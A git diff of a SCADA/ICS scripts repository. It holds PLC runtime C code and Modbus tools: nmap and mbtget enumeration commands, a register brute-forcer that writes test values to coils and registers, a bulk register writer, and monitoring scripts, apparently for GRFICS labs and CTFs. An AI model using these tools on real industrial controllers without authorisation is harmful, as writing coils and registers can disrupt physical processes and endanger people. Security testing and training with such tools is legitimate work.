if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + 